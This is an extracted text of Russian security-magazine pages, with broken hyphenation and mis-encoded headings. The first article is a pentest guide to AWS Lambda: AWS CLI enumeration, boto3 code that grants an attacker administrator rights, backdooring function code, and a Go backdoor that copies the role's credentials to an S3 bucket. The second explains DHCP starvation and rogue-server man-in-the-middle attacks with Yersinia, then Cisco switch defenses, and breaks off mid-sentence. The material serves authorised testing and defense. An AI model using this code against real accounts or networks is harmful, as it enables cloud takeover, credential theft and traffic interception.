оно будет сту чать на API-шлюз, с которо го и ста нут вызывать ся тре буемые
дей ствия.

Стан дар тное исполь зование API Gateway

ÏÅÐÂÎÍÀ×ÀËÜÍÛÉ ÄÎÑÒÓÏ

Ча ще все го через лям бду в обла ко не попада ют. Но в слу чае обна руже ния
фун кции, гей твея, соз дания пол ной ссыл ки и тре буемо го набора парамет ров
мож но все-таки поп робовать. Нап ример, если лям бда-фун кция при нима ет
какую-либо коман ду для запус ка в cmd:

https://i8jee1mn2f.execute-api.us-east-2.amazonaws.com/prod/
system?cmd=env

При мер экс плу ата ции уяз вимос ти

ÐÀÇÂÅÄÊÀ

Lambda Function

На пер вом эта пе нуж но хорошень ко раз ведать обста нов ку и поис кать уяз -
вимые мес та. На помощь нам при дет AWS CLI. Что бы уви деть все лям -
бда-фун кции, вос поль зуем ся сле дующей коман дой:

aws lambda list-functions

По лучить лям бда-фун кции в отдель ном реги оне:

aws lambda list-functions --region us-east-1

По иск лям бда-фун кций

Изу чение зависи мос тей

 — уни каль ный иден тифика тор фун кции;• FunctionArn

 — язык, на котором написа на фун кция;• Runtime

 — роль, которую име ет лям бда-фун кция. Воз можно, опре делен ная
лям бда-фун кция име ет дос туп к дру гим служ бам. Соот ветс твен но, мы так -
же можем опре делить полити ки, при вязан ные к лям бда-фун кции;

• Role

 — зависи мос ти лям бда-фун кции.• Layers

По лучить информа цию о кон крет ной лям бда-фун кции (в том чис ле исходный
код) мож но сле дующим обра зом:

aws lambda get-function --function-name <function-name> [--region 
eu-west-1 --profile demo]

При мер:

aws lambda get-function --function-name PentestingForFun

Смот рим опре делен ную фун кцию

В при веден ном выше при мере мы видим раз дел , а в нем — . То
есть код извле кает ся по это му пути, в дан ном слу чае это S3-бакет 

. Перей дя по ука зан ной ссыл ке (либо порыв шись в ука зан ном

бакете), мы смо жем ска чать код лям бда-фун кции.

Code Location
awslambda-

us-west2-tasks

При этом в выводе дан ной коман ды есть огромная струк тура
, которую тоже сто ит обя затель но пос мотреть. Во вре мя пен -

тестов мы час то обна ружи вали здесь учет ные дан ные.

Configuration

Учет ные дан ные в перемен ных сре ды

Ис ходный код зависи мос ти мож но получить вот так:

aws lambda get-layer-version --layer-name <LayerName> 
--version-number <VersionNumber>

При мер:

aws lambda get-layer-version --layer-name request-library 
--version-number 1

Те перь обра ти вни мание на спо собы вызова фун кции.

aws lambda get-policy --function-name <function-name>

При мер:

aws lambda get-policy --function-name PentestingForFun

Объ екты, спо соб ные вызывать син хрон ный триг гер

 — кому раз решено дер гать фун кцию;• Service

 — что может сде лать ;• Action Service

 — какие объ екты могут быть выз ваны.• Resource

В лям бда-фун кци ях иног да встре чает ся раз дел . Он отве чает
за «филь тра цию» — каким методом и каким обра зом вызыва ется лям бда.
Имен но в нем всег да будет пря тать ся айдиш ник, по которо му ты смо жешь
опре делить, к какому гей твею при вяза на лям бда-фун кция.

Condition

При мер Condition

В дан ном слу чае  — REST API ID. При этом триг гер может сра -

ботать и от изме нений в чем-либо. Для получе ния информа ции о подоб ных
событи ях сущес тву ет вот такой коман длет:

uj3lq1cu8e

aws lambda list-event-source-mappings --function-name <
function-name>

При мер:

aws lambda list-event-source-mappings --function-name 
PentestingForFun

Что при ведет к асин хрон ному/потоко вому триг геру

В этом слу чае исполь зует ся Amazon Simple Queue Service (SQS) — служ ба оче -
реди сооб щений.

API Gateway

Пос ле изу чения дос тупных лям бда-фун кций пора вос ста нав ливать URL,
который при ведет к ее вызову. Что бы уви деть все REST APIs (получить айдиш -
ник, так как Region зачас тую схож с боль шинс твом реги онов, в котором сто ят
ЕС2-инстан сы), вос поль зуем ся сле дующей коман дой:

aws apigateway get-rest-apis

Об наруже ние всех REST API

Ин форма цию о кон крет ном API поможет дос тать эта коман да:

aws apigateway get-rest-api --rest-api-id <ApiId>

Что бы най ти все конеч ные точ ки (которые так же называ ют объ екта ми), вос -
поль зуем ся такой дирек тивой:

aws apigateway get-resources --rest-api-id <ApiId>

Изу чение всех рас положе ний

В нашем при мере под держи вает ся метод зап роса  к ресур су ,
поэто му на сле дующем шаге изу чаем его глуб же:

GET 18ds4f9r2rb

aws apigateway get-method --rest-api-id <ApiID> --resource-id <
ResourceID> --http-method <Method>

При мер:

aws apigateway get-method --rest-api-id 18ds4f9r2rb --resource-id 
7xhd4f9l3mz --http-method GET

Изу чение кон крет ного метода

Вот самые инте рес ные парамет ры:
 — тип авто риза ции;• authorizationType

 — что бы выз вать метод, тре бует ся ключ (допус тим,
в нашем слу чае для исполь зования метода  на конеч ной точ ке нам дос -
таточ но прос то отпра вить зап рос);

• apiKeyRequired

GET

 — то, что про исхо дит на зад нем пла не;• methodIntegration

 — с чем это интегри рова но;• type

 — в нашем слу чае мы видим, что метод дер гает лям бда-фун кцию.• uri

Та ким обра зом мы можем иден тифици ровать API Gateway с кон крет ной лям -
бда-фун кци ей. Если для вызова тре бует ся ключ API, то есть воз можность
перечис лить все API-клю чи, при сутс тву ющие в текущей УЗ:

aws apigateway get-api-keys --include-values

По луче ние API-клю чей

На конец, оста ется лишь перечис лить все рас положе ния:

aws apigateway get-stages --rest-api-id <ApiId>

Те перь у нас есть дос таточ ный объ ем информа ции, что бы пос тро ить URL-
адрес для исполь зования лям бда-фун кции. Парамет ры ты смо жешь опре -
делить, пос мотрев исходный код.

Продолжение статьи →

mailto:michael.zhmailo@yandex.ru
https://xakep.ru/2022/11/09/s3-buckets/


БЛЯМБДА
ЭКСПЛУАТИРУЕМ AWS LAMBDA

COVERSTORY  НАЧАЛО СТАТЬИ←

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Ñîçäàíèå è âûçîâ ôóíêöèè ñ ïðèâÿçêîé ðîëè

По вышать свои при виле гии с помощью лям бды неверо ятно инте рес но! Нап -
ример, сущес тву ет поль зователь с пра вами на при вяз ку роли ( )

и соз дание лям бда-фун кций ( ). Век тор таков:
написать код, который при вяжет к учет ной записи ата кующе го адми нис тра тив -
ную полити ку. Шаги сле дующие:

iam:PassRole
lambda:CreateFunction

1. Соз даем лям бда-фун кцию, свя зывая ее с какой-либо ролью. При чем у этой
роли дол жны быть пра ва на вызов  или 

.
iam:AttachRolePolicy iam:

AttachUserPolicy

2. Вы зыва ем соз данную фун кцию, что при водит к исполне нию кода.
3. Код при вязы вает адми нис тра тив ную полити ку сна чала к лям бда-роли,

а потом к ата кующе му.
4. У нас появ ляют ся пра ва адми нис тра тора.

По выше ние при виле гий с помощью лям бды

Ес ли у роли лям бда-фун кции име ется при виле гия , то сна -

чала при вяжем полити ку адми нис тра тора к ней, а потом к ата кующе му.
Для это го мож но исполь зовать сле дующий код:

AttachRolePolicy

 import boto3
 import json

  def lambda_handler(event, context):
     iam = boto3.client("iam")
   

 
 

iam.attach_role_policy(RoleName="<роль, к которой привязывать 
лямбда-функцию>", PolicyArn="<политика с административным 
доступом>",) # Привязка политики к роли
   

 
 

iam.attach_user_policy(UserName="<пользователь, к которому 
привязывать политику>", PolicyArn="<политика с административным 
доступом>",) # Привязка политики к пользователю
    return {

        'statusCode': 200,
        'body': json.dumps("AWS Service")

   }

Ес ли у роли лям бда-фун кции име ется при виле гия , то мы
можем сра зу при вязать к ата кующе му адми нис тра тив ную полити ку:

AttachUserPolicy

 import boto3
 import json

  def lambda_handler(event, context):
     iam = boto3.client("iam")
   

 
 

iam.attach_user_policy(UserName="<пользователь, к которому 
привязывать политику>", PolicyArn="<политика с административным 
доступом>",) # Привязка политики к пользователю
    return {

        'statusCode': 200,
        'body': json.dumps("AWS Service")

   }

Как обна ружить роли, мы изу чили в . Твоя задача — най ти роль,
у которой есть тре буемые для экс плу ата ции при виле гии (

 или ), а так же воз можность свя зать

ее с лям бда-фун кци ей.

пер вой статье
iam:

AttachRolePolicy iam:AttachUserPolicy

Те перь мож но соз дать лям бда-фун кцию. Имен но она и обес печива ет нам
повыше ние при виле гий:

aws lambda create-function --function-name <имя создаваемой лямбда
-функции> --runtime <язык, на котором написан код> --zip-file <
файл .zip с исходным кодом> --handler <хендлер (это имя лямбда-
функции + какую функцию вызывать из питона)> --role <ARN роли, к 
которой привязана политика с iam:AttachRolePolicy> --region <
регион>

При мер:

aws lambda create-function --function-name awsservicelambda 
--runtime python3.7 --zip-file fileb://awsservicelambda.zip 
--handler awsservicelambda.lambda_handler --role arn:aws:iam::
184194106212:role/Lambda-Permisssion-Mgmt-Role --region us-east-2

Ус пешное соз дание лям бда-фун кции

Те перь триг герим фун кцию:

aws lambda invoke --function-name <FunctionName> response.json 
--region <регион, в котором находится функция>

При мер:

aws lambda invoke --function-name awsservicelambda response.json 
--region us-east-2

В текущей дирек тории появит ся фай лик . Смот рим его и видим

ошиб ку! Ничего не работа ет, повысить при виле гии с помощью лям бды нель зя.

response.json

Access Denied

Шу чу. Давай подума ем: что сей час про изош ло? Толь ко что код исполнил ся
лишь час тично, то есть фун кция  успешно отра бота ла,

поэто му у роли лям бда-фун кции уже есть полити ка с адми нис тра тив ным дос -
тупом. Ты даже можешь это про верить:

attachrolepolicy

aws iam list-attached-role-policies --role-name <привязываемая 
роль>

Ви дим, что к роли успешно при вяза лась полити ка

Нам тре бует ся лишь вновь зат ригге рить фун кцию, пос ле чего мож но пос -
мотреть при вязан ные к себе полити ки:

aws iam list-attached-user-policies --user-name <username>

Ус пешная экс плу ата ция

Но иног да у нас нет пра ва , то есть выз вать коман длет
 мы не смо жем. В таком слу чае пот ребу ется соз дать асин -

хрон ный либо потоко вый триг гер. Нап ример, свя жем лям бду с таб лицей
в какой-нибудь базе дан ных (ска жем, DynamoDB) и вне сем в нее изме нения,
что при ведет к вызову фун кции.

lambda:InvokeFunction
aws lambda invoke

Соз даем таб лицу с вклю чен ной потоко вой переда чей:

aws dynamodb create-table --table-name <имя таблицы> 
--attribute-definitions AttributeName=Test,AttributeType=S 
--key-schema AttributeName=Test,KeyType=HASH 
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 
--stream-specification StreamEnabled=true,StreamViewType=
NEW_AND_OLD_IMAGES

Свя зыва ем фун кцию и таб лицу:

aws lambda create-event-source-mapping --function-name <имя 
функции> –event-source-arn <ARN DynamoDB-таблицы> --enabled 
--starting-position LATEST

За пус каем поток:

aws dynamodb put-item --table-name <Имя таблицы> --item Test={S=
"просто любая строка"}

Èçìåíåíèå êîäà ôóíêöèè

Бла года ря при виле гии  пен тестер смо жет обно -
вить код сущес тву ющей лям бда-фун кции, зас тавив ее выпол нить вре донос ный
код, который, допус тим, выдаст ему пра ва (если к лям бде при вяза на дос таточ -
но при виле гиро ван ная роль). Далее сле дует дож дать ся вызова фун кции либо
дер нуть самос тоятель но, если при сутс тву ет при виле гия 

 или . При меры кода мы

рас смот рели рань ше. А вот обно вить код мож но, нап ример, так:

lambda:UpdateFunctionCode

lambda:
InvokeFunction lambda:CreateEventSourceMapping

aws lambda update-function-code --function-name <функция, на 
которую у нас есть права> --zip-file <обновленный код>

# Пример
   aws lambda update-function-code --function-name 

PentestingForFun --zip-file fileb://my/lambda/code/zipped.zip

 язык, на котором написа на лям бда! Ина че код
не запус тится.
Îáÿ çàòåëü íî ó÷è òûâàé

ÇÀÊÐÅÏËÅÍÈÅ

Èçìåíåíèå ëÿìáäû

Зак репить ся в ском про мети рован ном обла ке дос таточ но прос то, понадо бит ся
бук валь но нес коль ко дей ствий.

Зак репле ние с помощью лям бды

В раз деле «Раз ведка» мы с тобой убе дились, что получить исходный код лям -
бда-фун кции мож но с помощью . Тво ей задачей будет обна -

ружить под ходящую лям бду и API, с помощью которо го мож но выз вать фун -
кцию. Пос ле это го меняй текущий код, добав ляя в него бэк дор на твое
усмотре ние.

get-function

Убе див шись, что все работа ет, мож но заг ружать лям бду на сер вер:

aws lambda update-function-code --function-name <имя функции, 
исходный код которой будет обновлен> --zip-file fileb://<исходный 
код>

# Пример
   aws lambda update-function-code --function-name 

PentestingForFun --zip-file fileb://my-function.zip

Об новля ем код фун кции

Те перь дер гаем гей твей, что бы лям бда исполни лась:

curl https://uj3lq1cu8e.execute-api.us-east-2.amazonaws.com/
default/PentestingForFun

Áåññåðâåðíûé áýêäîð ñ èíòåãðàöèåé â S3

Спарк Флоу, автор книг «How to Hack like a...», пред ложил соз дать бэк дор
на осно ве S3-бакета. Его прин цип дей ствия зак лючал ся бы в кра же
из перемен ных окру жения клю чей дос тупа роли, при вязан ной к лям бда-фун -
кции. С пол ным кодом бэк дора мож но озна комить ся на 

.
стра нице GitHub Спар -

ка
Раз берем некото рые момен ты, свя зан ные с этим инте рес ным про ектом.

Каж дая прог рамма на Go, пред назна чен ная для работы в сре де Lambda,
начина ется с одной и той же шаб лонной фун кции , которая регис три рует
точ ку вхо да Lambda (в дан ном слу чае это ):

main
HandleRequest

  func main() {
   lambda.Start(HandleRequest)

}

Даль ше идет клас сичес кий блок кода для сбор ки HTTP-кли ента и соз дания
уда лен ного URL-адре са S3 для отправ ки нашего отве та:

 const S3BUCKET="<bucket name>
func HandleRequest(ctx context.Context, name MyEvent) (string, 
error) {
client := &http.Client{}
respURL := fmt.Sprintf("https://%s.s3.amazonaws.com/setup.txt", 
S3BUCKET)

За тем сле дует выг рузка учет ных дан ных роли Lambda из перемен ных сре ды
с отправ кой их в бакет:

  accessKey := fmt.Sprintf(`
AWS_ACCESS_KEY_ID=%s
AWS_SECRET_ACCESS_KEY=%s
AWS_SESSION_TOKEN=%s"`,
os.Getenv("AWS_ACCESS_KEY_ID"),
os.Getenv("AWS_SECRET_ACCESS_KEY"),
os.Getenv("AWS_SESSION_TOKEN"),
)

   uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)

При этом перед исполь зовани ем бэк дора нуж но убе дить ся в том, что сер вис
S3 может выз вать лям бду. Пре дос тавить раз решение мож но вот так:

aws lambda add-permission --function-name <имя созданной функции> 
--region eu-west-1 --statement-id s3InvokeLambda12 --action 
"lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn 
<ARN бакета>

За тем нас тро им пра вило, по которо му будет ини цииро вано событие (в этом
слу чае бэк дор сра бота ет при соз дании объ ектов в S3, начина ющих ся с пре -
фик са ):2

aws s3api put-bucket-notification-configuration --region eu-west-1
--bucket mxrads-mywebhook --notification-configuration file://<(

cat << EOF
{
   "LambdaFunctionConfigurations": [{
       "Id": "s3InvokeLambda12",
       "LambdaFunctionArn": "arn:aws:lambda:eu-west-1:

886371554408:function:support-metrics-calc",
       "Events": ["s3:ObjectCreated:*"],
       "Filter": {
       "Key": {
       "FilterRules": [{
       "Name": "prefix",
       "Value": "2"
       }]
       }
       }
       }]
   }

EOF
)

И, обра тив шись к гей твею, получим токен роли, при вязан ной к лям бде:

curl https://mxrads-report-metrics.s3-eu-west-1.amazonaws.com/
lambda
AWS_ACCESS_KEY_ID=ASIA44ZRK6WSTGTH5GLH
AWS_SECRET_ACCESS_KEY=1vMoXxF9Tjf2OMnEMU...
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPT..

ÂÛÂÎÄÛ

Лям бда встре чает ся прак тичес ки в каж дом пен тесте AWS. К ней всег да при -
вязы вает ся слиш ком при виле гиро ван ная роль, у лям бды всег да будут неп -
рилич но боль шие пол номочия. Подоб ные мис конфи ги зачас тую при водят
к взло му целого обла ка! Лишь чет кое понима ние и зна ние работы этой служ бы
поможет нам, этич ным хакерам, пре дот вра тить подоб ный сце нарий и убе речь
заказ чика от боль ших проб лем.

https://xakep.ru/2022/09/06/aws-pentesting/
https://github.com/sparcflow/HackLikeAGhost/tree/master/LambdaBackdoor
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ВЗЛОМ

Ты навер няка стал кивал ся с DHCP при нас -
трой ке роуте ра. Но зна ешь ли ты
про опас ности, которые может в себе
скры вать его неп равиль ная нас трой ка
на сер вере ком пании? Вос поль зовав шись
ею, зло умыш ленник может не толь ко
вывес ти DHCP-сер вер из строя, но и
реали зовать ата ку MitM, что бы перех -
ватить важ ные дан ные. В этой статье я
покажу два век тора атак на DHCP и дам
советы о том, как обес печить безопас -
ность.

WARNING

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÒÅÎÐÈß

При защите сети от атак на DHCP нам очень важ но понимать тон кости вза имо -
дей ствия DHCP-сер вера и кли ента. Нап ример, какая связь меж ду зна чени ем
MAC-адре са в Ethernet-заголов ке и зна чени ем CHADDR в заголов ке DHCP
или какие сооб щения отправ ляют ся толь ко DHCP-сер вером в адрес кли ента,
а не наобо рот. Но обо всем по поряд ку. Сна чала быс трень ко про бежим ся
по основным сооб щени ям DHCP и струк туре самого DHCP-заголов ка.

Ñîîáùåíèÿ DHCP

Для получе ния IP-адре са и дру гих сетевых парамет ров кли енту и сер веру
DHCP дос таточ но обме нять ся четырь мя сооб щени ями. Кли ент, нас тро енный
на авто мати чес кое получе ние IP-адре са, посыла ет в сеть сооб щение

 на брод касто вые адре са сетево го (255.255.255.255) и каналь -

ного (FF:FF:FF:FF:FF:FF) уров ней, что бы обна ружить сер веры DHCP. В IP-
заголов ке в поле адре са источни ка IP-пакета ука зыва ется 0.0.0.0, так как кли -
ент еще не получил этот параметр. В поле источни ка сооб щения на каналь ном
уров не ука зыва ется MAC-адрес кли ента.

DHCPDISCOVER

По лучив сооб щение DHCPDISCOVER от потен циаль ного кли ента, DHCP-сер -
вер пред лага ет сво бод ный IP-адрес. Это сооб щение, адре сован ное от сер -
вера кли енту, называ ется DHCPOFFER. На вре мя пред ложения адрес резер -
виру ется DHCP-сер вером и не пред лага ется дру гим кли ентам.

Пред положим, кли ент получил сооб щение DHCPOFFER от DHCP-сер вера.
Тог да он отправ ляет широко веща тель ное сооб щение DHCPREQUEST,
в котором содер жится IP-адрес сер вера, выдав шего пред ложение. Такое
широко веща тель ное сооб щение информи рует дру гие DHCP-сер веры о том,
что кли ент уже при нял пред ложение от одно го из сер веров. В таком слу чае
осталь ные сер веры DHCP осво бож дают зарезер вирован ные IP-адре са, и в
даль нейшем они могут быть пред ложены дру гим кли ентам.

Ког да сер вер получа ет сооб щение DHCPREQUEST, он ука зыва ет выб -
ранный кли ентом IP-адрес в сооб щении DHCPACK и отсы лает его в сто рону
кли ента.

Кли ент получил все необ ходимые сетевые парамет ры, и на этом про цесс
вза имо дей ствия счи тает ся завер шенным. Но кро ме этих основных четырех
сооб щений, есть еще пароч ка немало важ ных:

 — сооб щение, которое посыла ется от сер вера к кли енту, что бы
известить об отка зе в арен де IP-адре са;

• DHCPNACK

 — сооб щение от кли ента к сер веру, которое уве дом ляет
сер вер о том, что кли ент боль ше не жела ет исполь зовать текущий IP-адрес
и сер вер может «вер нуть» этот адрес в пул сво бод ных IP-адре сов.

• DHCPRELEASE

С основны ми сооб щени ями разоб рались. Теперь под ведем неболь шой итог:
сооб щения типа ,  и  отправ ляют ся  сер -

вером в адрес кли ента. Запом ним. Эта информа ция нам при годит ся чуть поз -
же.

DHCPOFFER DHCPACK DHCPNAK òîëü êî

Ñòðóêòóðà çàãîëîâêà DHCP

Те перь мак сималь но крат ко рас смот рим заголо вок DHCP, инкапсу лиру емый
в UDP-дей таг раммы. Кста ти, забыл ска зать про тран спортный уро вень: если
речь о DHCP, то сер вер и кли ент исполь зуют 67-й и 68-й пор ты UDP соот ветс -
твен но.

Да вай прой дем ся по наибо лее инте рес ным для нас полям заголов ка:
 — поле, которое ука зыва ет на тип сооб щения. Если про исхо дит

зап рос от кли ента к сер веру, то в дан ном поле уста нав лива ется зна -
чение 0х01, а обратно — 0х02;

• Op Code

 — тип адре са, работа юще го на каналь ном уров не. Для Ethernet
в этом поле уста нав лива ется зна чение 0х01;

• htype

 — ука зыва ет дли ну адре са каналь ного уров ня в бай тах
(0х06 для Ethernet);

• hlen

 — иден тифика тор тран закции для сог ласова ния зап росов и отве тов
меж ду ними;

• xid

 — отоб ража ет вре мя в секун дах, про шед шее с момен та, ког да кли ент
начал получать либо обновлять IP-адрес;

• sec

 — IP-адрес кли ента. Это поле запол няет ся в том слу чае, если кли -
енту уже наз начен IP-адрес и нуж но прод лить его арен ду;

• CIADDR

 — сер вер запол няет это поле зна чени ем IP-адре са, который пред -
лага ет кли енту;

• YIADDR

 — IP-адрес DHCP-сер вера, при отправ ке кли енту ответных сооб -
щений DHCPOFFER и DHCPACK;

• SIADDR

 — IP-адрес аген та-рет ран сля тора (мар шру тиза тора), раз деля юще -
го сети, в которых находят ся кли ент и DHCP-сер вер;

• GIADDR

 — поле, ука зыва ющее MAC-адрес кли ента. На это поле обра щаем
осо бое вни мание;

• CHADDR

 — поле перемен ной дли ны, в котором зада ют допол нитель ные
парамет ры (нап ример, мас ка под сети, адре са DNS-сер веров, адрес шлю за
по умол чанию, вре мя арен ды адре са).

• Option

Ду маю, тут все понят но. Теперь погово рим о поле , на котором я

акценти ровал осо бое вни мание выше. Логич но пред положить, что зна чение
в полях  заголов ка DHCP и MAC-адре са источни ка в Ethernet-заголов ке
(сооб щений от кли ента к сер веру) будут иден тичны ми.

CHADDR

CHADDR

При нор маль ном вза имо дей ствии кли ента с сер вером так и есть. Взя ли
на заметоч ку и дви гаем ся к прак тичес кой час ти.

ÒÅÑÒÈÐÓÅÌ DHCP ÍÀ ÑÒÎÉÊÎÑÒÜ

Ëàáîðàòîðíûé ñòåíä

Я соб рал все необ ходимое, что было под рукой:
мар шру тиза тор Cisco 2821;•
ком мутатор Cisco Catalyst 2960;•
кли ент ский ПК с Kali Linux.•

На мар шру тиза торе запус тил DHCP с выдачей адре сов из пула 192.168.1.2–
254. Ком мутатор с пус той кон фигура цией, как «из короб ки».

DHCP STARVATION

Пе ред про веде нием ата ки DHCP Starvation хочет ся сде лать неболь шое ревью.
Мы зна ем, что DHCP-сер вер ведет таб лицу соот ветс твий выдан ных кли ентам
IP-адре сов и их MAC-адре сов и что уже выдан ный IP-адрес не может быть
пред ложен дру гому кли енту пов торно. Суть ата ки DHCP Starvation — «исто -
щить» сер вер DHCP, отправ ляя лож ные пакеты типа  с ран -
домны ми MAC-адре сами источни ка. На эти пакет сер вер будет реаги ровать
и резер вировать сво бод ные IP-адре са из пула, в резуль тате чего некото рое
вре мя (пока ата ка в активной фазе) не смо жет выдавать IP-адре са обыч ным
поль зовате лям.

DHCPDISCOVER

В качес тве инс тру мен та ата ки будем юзать  (тул за наз вана в честь

бак терии). Кро ме DHCP, она уме ет ата ковать и нес коль ко дру гих про токо лов
каналь ного уров ня.

Yersinia

Вы берем про токол DHCP, ука жем опцию sending DISCOVER packet и запус -
тим отправ ку лож ных пакетов .DHCPDISCOVER

По ка идет флуд пакета ми, пос мотрим на пул адре сов DHCP.

Аб солют но все адре са из диапа зона 192.168.1.2–254 были зарезер вирова ны
DHCP-сер вером, и, пока флу динг про дол жает ся, сер вер не смо жет выдать
адре са из сво его пула новым кли ентам. Сер вер исто щен.

Кста ти, такой флуд впол не может выз вать отказ в обслу жива нии сер вера
DHCP. Пос мотрим наг рузку на мар шру тиза торе:

Про цес сор заг ружен наполо вину. И это толь ко от пакетов  (ну
лад но, еще STP с CDP каж дые пару секунд).

DHCPDISCOVER

Rogue DHCP èëè DHCP Spoofing

Вто рой век тор атак на DHCP тре бует раз вернуть мошен ничес кий DHCP-сер -
вер. Нуж но это, что бы выдавать кли ентам под дель ные сетевые парамет ры (в
час тнос ти — адрес шлю за по умол чанию) и про вес ти MitM. С точ ки зре ния ата -
кующе го, для это го луч ше все го пер вым делом «положить» легитим ный DHCP-
сер вер, что мы, собс твен но, и сде лали выше.

В Yersinia есть фун кция раз верты вания такого DHCP-сер вера — creating
DHCP rogue server. В качес тве парамет ров ука жем адрес под дель ного сер -
вера, от име ни которо го будут выдавать ся сетевые парамет ры, диапа зон
адре сов, вре мя их арен ды (чем доль ше, тем луч ше), мас ку под сети и самое
глав ное — адрес шлю за по умол чанию — ПК, который будет сни фать тра фик
поль зовате лей.

Ос талось лишь перевес ти сетевой интерфейс прос лушива юще го ПК в режим
фор вардин га, а даль ше — дело тех ники: кли ент ские устрой ства, нас тро енные
на авто мати чес кое получе ние IP-адре сов, будут отправ лять широко веща тель -
ные сооб щения  и в ответ получат сетевые парамет ры от под -

дель ного DHCP-сер вера.

DHCPDISCOVER

А вот так выг лядит дамп ICMP-тра фика на ата кующей машине и схе ма MitM-
ата ки в нашей лабора тор ной сети.

ÍÅÉÒÐÀËÈÇÓÅÌ ÀÒÀÊÈ ÍÀ DHCP-ÏÐÎÒÎÊÎË

Те перь рас смот рим тех нологии безопас ности, пре дот вра щающие ата ки
на DHCP. Условно их мож но поделить на два век тора: защита от DHCP
Starvation и от DHCP Spoong.

В боль шинс тве сво ем ней тра лиза цию атак на DHCP-про токол берет на себя
тех нология DHCP Snooping, а в качес тве обя затель ного допол нения к ней сто ит
исполь зовать Port Security. Обе тех нологии при меня ются на ком мутато рах.

Trusted- è Untrusted-ïîðòû

За быть о вне зап ном появ лении в сети под дель ного сер вера DHCP поможет
кон цепция доверен ных и недове рен ных пор тов. Доверен ный порт раз реша ет
пересыл ку DHCP-сооб щений от сер вера. Пом нишь про сооб щения ,

 и , о которых мы говори ли в самом начале? Под дель ный

DHCP-сер вер не смо жет пред ложить кли ентам свои лож ные парамет ры
отправ кой таких сооб щений, если будет находить ся за ненадеж ным пор том.

DHCPOFFER
DHCPACK DHCPNAK

До верен ные пор ты — это те, которые нап рямую под клю чены к DHCP-сер -
веру или которые «смот рят» в его сто рону. Соот ветс твен но, недове рен ные —
это все осталь ные. В нашей лабора тор ной сети доверен ным пор том будет
толь ко один — G0/1.

Пос ле вклю чения DHCP Snooping все пор ты по умол чанию ста новят ся недове -
рен ными. Поэто му нуж но явно ука зать ком мутато ру доверен ный порт.
Но перед этим гло баль но вклю чим DHCP Snooping и ука жем, в каком VLAN она
будет работать. Кон фигура ция ком мутато ра у меня по умол чанию и все пор ты
при над лежат пер вому VLAN.

В качес тве тес та вык лючим наш DHCP-сер вер, отка жем ся от выдан ного им
адре са и попыта емся получить IP-адрес от под дель ного DHCP-сер вера. Вот
что про исхо дит на ата кующей машине: под дель ный DHCP видит кли ент ские
сооб щения обна руже ния и усер дно пыта ется пред ложить свои лож ные
сетевые парамет ры, но кли ент никак не реаги рует на отве ты.

А все потому, что ком мутатор дро пает сооб щения  на ненадеж ном

пор ту, из-за чего кли ент и не видит лож ное пред ложение.

DHCPOFFER

Limit Rate

Еще одна очень полез ная фун кция DHCP Snooping — огра ниче ние на отправ ку
DHCP-сооб щений. Это огра ниче ние допус кает отправ ку через порт ком -
мутато ра опре делен ного количес тва DHCP-тра фика в секун ду.

Что бы задей ство вать эту воз можность, выберем весь диапа зон ненадеж -
ных пор тов и уста новим огра ниче ние в десять пакетов в секун ду. Cisco
рекомен дует исполь зовать не более 100 пакетов в секун ду, но для нашего
тес тового стен да хва тит и десяти. Важ но не уре зать безобид ный тра фик
от кли ентов.

Сно ва вре мя экспе римен тов: запус тим DoS-рас сылку сооб щений
 и пос мотрим, что будет про исхо дить. Дол го ждать не при ходит -

ся: мгно вен но при лета ет кон соль ный лог и уве дом ляет нас, что на пор те
F0/2 было получе но десять DHCP-пакетов и порт перево дит ся в сос тояние

. Порт F0/2 упал. Далее тре бует ся вме шатель ство адми нис тра -

тора, что бы вос ста новить работос пособ ность пор та.

DHCPDISCOVER

err-disable

Limit Rate полезен тем, что не дает зло умыш ленни ку выпол нить отказ в обслу -
жива нии или быс тро «выж рать» пул адре сов, отправ ляя боль шое количес тво
DHCP-зап росов.

Verify MAC-Address

Фун кция про вер ки MAC-адре са по умол чанию активна при вклю чен ном DHCP
Snooping. Но если по каким-то при чинам она неак тивна, то вот син таксис
для вклю чения.

Рань ше я акценти ровал вни мание на поле  заголов ка DHCP и MAC-

адре са источни ка Ethernet-заголов ка и говорил, что при нор маль ном вза имо -
дей ствии кли ента и сер вера зна чения в этих полях иден тичны. При вклю чен ной
фун кции Verify MAC-Address ком мутатор про веря ет эти два поля и, если MAC-
адре са раз личны, дро пает их.

CHADDR

Кста ти, для про вер ки MAC-адре са исполь зуют ся ресур сы цен траль ного
про цес сора мар шру тиза тора, что, конеч но же, в разы мед леннее, чем
при обра бот ке пакетов ASIC-мик росхе мами. При нор маль ной работе сети
ощу тимо это никак не ска зыва ется, но давай смо дели руем такую ситу ацию:
была запуще на ата ка на исто щение DHCP, при которой генери рует ся огромное
количес тво пакетов . Каж дый из них будет про верять ся про цес -

сором ком мутато ра на соот ветс твие MAC-адре сов.

DHCPDISCOVER

В течение минуты пос ле начала ата ки цен траль ный про цес сор ком мутато ра
был заг ружен на 95% из-за огромно го количес тва пакетов DHCP, которые он
дол жен обра ботать. Имен но для пре дот вра щения таких ситу аций и сто ит при -
менять фун кцию Limit Rate — порт прос то уйдет в down, ког да допус тимое
количес тво пакетов в секун ду будет пре выше но.

Port Security

Пос ледняя фун кция защиты ком мутато ра, о которой я хочу рас ска зать. Она
не отно сит ся к тех нологии DHCP Snooping, но игра ет боль шую роль в защите
сети от атак на DHCP-про токол. Port Security поз воля ет ука зать MAC-адре са
хос тов, которым раз решено переда вать дан ные через порт. Для про вер ки
исполь зует ся MAC-адрес источни ка в Ethernet-заголов ке, и в резуль тате будет
при нято решение о про пус ке через порт.

Нас тро им все ненадеж ные пор ты на динами чес кое выучи вание толь ко
одно го MAC-адре са с сох ранени ем их в текущую кон фигура цию ком мутато ра.
Режим реаги рова ния на наруше ние пра вил безопас ности ука жем  —
отклю чение пор та. Но перед этим пор ты нуж но перевес ти в режим Access.

shutdown

Ес ли же сно ва запус тить флуд сооб щени ями , где в каж дом
